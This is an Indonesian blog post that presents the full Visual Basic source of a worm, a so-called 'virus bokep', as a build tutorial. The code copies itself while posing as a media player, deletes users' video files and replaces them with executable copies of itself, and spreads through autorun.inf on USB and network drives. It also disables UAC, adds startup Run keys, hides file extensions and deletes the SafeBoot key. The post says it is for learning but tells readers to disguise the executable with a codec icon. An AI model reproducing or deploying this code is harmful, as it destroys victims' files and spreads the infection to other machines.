Ayo Bikin Source Code Virus Bokep

Pada ramadhan ke 21ni aku akan membahas source code virus bokep, hehehe ramadhan kog mbahas bokep ya untuk mencegah agar bulan ramadhan ini orang tidak menonton film bokep. tapi ni juga merugikan karena tidak semua film yang berektensi 3gp, flv, avi merupakan filem bokep melainkan juga ada film tentang tutorial. Ini terbukti telah dialami teman aku yang tadi malam mengeluh telah kena virus dengan icon K-Lite (atau media player clasic). emang sih virus tersebut ga merubah apapun di windows seperti task manager, folder option, run, atau fungsi-fungsi lainnya. sehingga orang akan tidak tahu kalau komputernya kena virus. Virus ini memang sadis langsung menghapus file yang berektensi 3gp, flv, mp4, avi dll.
Sehingga pada kesempatan ini saya akan membahas source codenya, source code ini aku juga menemukannya di internet jadi bukan milik saya dibuat oleh Lazy_Boyz @ Paray_Vx (Indonesian VX Zone) , source code ini sebegai pembelajaran agar kita dapat mengatasi ni virus.
Silahkan ikuti seterusnya.....

Oke sekarang anda tentukan proejct anda dengan 1 form dan 2 module
ni source code untuk form

Private Sub Form_Load()
On Error Resume Next
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

If App.PrevInstance Then End
Me.Hide
Me.Visible = False
App.TaskVisible = False

'Jika virus yg jalan tidak sama dengan nama file induk yg bernama BOK3P dan MPLAYERC
'maka keluarkan\akhiri proses virus tersebut dan jalankan Windows Media Player
If UCase(App.EXEName) <> "BOK3P" And UCase(App.EXEName) <> "MPLAYERC" Then
Shell "cmd.exe /c start wmplayer.exe", vbHide
Call Crack_Registry
Unload Me
End If

'Menggandakan diri ke direktori temp untuk dijadikan file induk VIRUS
Menggandakan_Diri TempFolder & "\Bok3p.exe"
Menggandakan_Diri TempFolder & "\mplayerc.exe"

'Kemudian mensetting atrribut file induk virus menjadi super hidden
SetAttr TempFolder & "\Bok3p.exe", vbSystem + vbReadOnly + vbHidden
SetAttr TempFolder & "\mplayerc.exe", vbSystem + vbReadOnly + vbHidden

'dan terakhir menjalankan file induk tersebut
Shell TempFolder & "\Bok3p.exe", vbHide
Shell TempFolder & "\mplayerc.exe", vbHide

End Sub

Private Sub TmrInfeksi_Timer()
On Error Resume Next
'Memanggil prosedur Crack_Registry, dan Serang_Media_Penyimpanan
Call Crack_Registry
Call Serang_Media_Penyimpanan
End Sub

Private Sub TmrPayload_Timer()
On Error Resume Next
'Jika jam sekarang menunjukan jam 6 sore, menit ke 6 dan detik ke 6 (18:06:06)-666
'maka tampilkan box pesan yg isinya apakah anda setuju perang melawan Pornografi
'jika korban memilih yes box pesan akan hilang, tapi jika memilih tidak maka restart komputer
If Hour(Now) = 18 And Minute(Now) = 6 And Second(Now) = 6 Then

If MsgBox("Say War to Pornografi & Pornoaksi", vbYesNo + vbExclamation, "Apakah anda setuju :") = vbNo Then
Shell "shutdown -r -f -t 00", vbHide
End If

End If

End Sub

dan ini untuk source code module 1

Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Menggandakan_Diri adalah sebagai pengganti FileCopy/CopyFile yg berfungsi
'sama seperti fungsi FileCopy.. yakni dengan cara membaca kode tubuh dan
'menyalinya ke lokasi yg akan ditentukan ditambah nomor acak dibagian akhir file
'sehingga nilai hashingnya berbeda-beda (Polymorphic)

Public Function Menggandakan_Diri(Lokasinya As String)
On Error Resume Next
Dim BodyVirus As String
Dim Jam As String

'Baca dan dapatkan ukuran asli virus
Open App.path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
BodyVirus = Space(LOF(1) - Int(10))
Get #1, , BodyVirus
Close #1

Jam = Time
Open Lokasinya For Binary Access Write As #2
Put #2, , BodyVirus
Put #2, , Jam '<~~ Polymorphic Methode, menambahkan string waktu saat ini diakhir file Close #2 End Function Public Function Cari_File(path) On Error Resume Next Dim Bok3p As Variant Set fso = CreateObject("scripting.filesystemobject") Set Bok3p = fso.getfolder(path) Set Rapid = Bok3p.Files For Each File In Rapid DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .3GP If UCase(fso.GetExtensionName(File.path)) = "3GP" Then 'Set attribut 3gp jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli 3gp DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "AVI" Then 'Set attribut AVI jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli AVI DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MP4 If UCase(fso.GetExtensionName(File.path)) = "MP4" Then 'Set attribut MP4 jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MP4 DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "WMV" Then 'Set attribut WMV jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli WMV DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPEG If UCase(fso.GetExtensionName(File.path)) = "MPEG" Then 'Set attribut MPEG jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPEG DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPG If UCase(fso.GetExtensionName(File.path)) = "MPG" Then 'Set attribut MPG jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPG DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPE If UCase(fso.GetExtensionName(File.path)) = "MPE" Then 'Set attribut MPE jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPE DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "RM" Then 'Set attribut 3gp jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 2) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli 3gp DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MOV If UCase(fso.GetExtensionName(File.path)) = "MOV" Then 'Set attribut MOV jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MOV DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .REAL If UCase(fso.GetExtensionName(File.path)) = "REAL" Then 'Set attribut REAL jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli REAL DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .ASF If UCase(fso.GetExtensionName(File.path)) = "ASF" Then 'Set attribut ASF jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli ASF DeleteFile File.path End If DoEvents '=================================================================================================== Next 'Mencari lagi kedalam folder sub folder Set Subfolders = Bok3p.Subfolders For Each Subfolder In Subfolders Cari_File Subfolder.path Next DoEvents End Function Public Sub Serang_Media_Penyimpanan() On Error Resume Next Dim Lazy As Variant Set fso = CreateObject("scripting.filesystemobject") For Each Lazy In fso.drives '================================================================================================== 'Mencari file berbau Pornogarphi di semua hardisk If (Lazy.drivetype = 2) Then Cari_File (Lazy.path) End If '=================================================================================================== 'Apakah type drive yg ditemukan adalah Removeable atw Map.Network Drive 'jika iya (Kecuali disket) cari file pornographi, buat penggandaan dan 'Buat Autorun kedalam drive tersbut agar dapt running otomatiz If (Lazy.drivetype = 1) Or (Lazy.drivetype = 3) And Lazy.path <> "A:" Then

'Mencari file berbau pornographi di Removable Drive dan Map.Network Drive
Cari_File (Lazy.path)

'Cek apakah terdapat file junk virus bernama (ãBg.exe) di Removable Drive
'dan Map.Network Drive jika tidak buat salinan (ãBg.exe) ke Removable_Disk
'dan setting attributnya menjadi super hidden (System+ReadOnly+Hidden)
If Len(Dir$(Lazy.path & "\ãBg.exe")) = 0 Then
Menggandakan_Diri Lazy.path & "\ãBg.exe"
SetAttr Lazy.path & "\ãBg.exe", vbSystem + vbReadOnly + vbHidden
End If

'Buat autorun.inf di Removable Drive dan Map.Network Drive korban
SetAttr Lazy.path & "\Autorun.inf", vbNormal
Open Lazy.path & "\Autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "shell\open=MediaPlayer"
Print #1, "shell\open\Command=ãBg.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explore"
Print #1, "shell\explore\Command=ãBg.exe"
Close 1
SetAttr Lazy.path & "\Autorun.inf", vbSystem + vbReadOnly + vbHidden
End If
'====================================================================================================
Next
End Sub

Ni source code untuk module2

Public Sub Crack_Registry()
On Error Resume Next
Dim Lazy_Boyz As Variant
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

Set Lazy_Boyz = CreateObject("Wscript.Shell")

'Mencoba mematiikan Fitur keamanan di Windows Vista
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"

'(Set agar virus aktif otomatis pada saat Windows startup)
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QuickLaunch", TempFolder & "\Bok3p.exe"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MediaPlayer", TempFolder & "\mplayerc.exe"

'Mensetting folder option agar stdk menampilkan file yg berattribut hidden & syatem (SuperHidden)
'juga mensetting folder option agar tidak menampilkan extension file
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue", "1", "REG_DWORD"

'Anti-Safe Mode Methode by Lazy_Boyz (100%) OK
Shell "REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f", vbHide

End Sub

Setelah itu anda berikan icon yang sering di pakai filem 3gp, flv, rm atau yang lainnya, ni contoh akan diberikan icon K-Lite Codec

Segala bentuk penggunaan source code ini bukan tanggungjawab pembuat dan dan penulis karena ni dibuat untuk pembelajaran. mungkin virus sekarang yang beredar sangat banyak dengan ektensi yang sama.
anda males untuk mengetik dan ga ngerti silahkan donlot projectnya di sini

source code aku berikan password bagi yang berminat silahkan berikan komentar Insya Allah aku berikan passwordnya.

Sak teruse....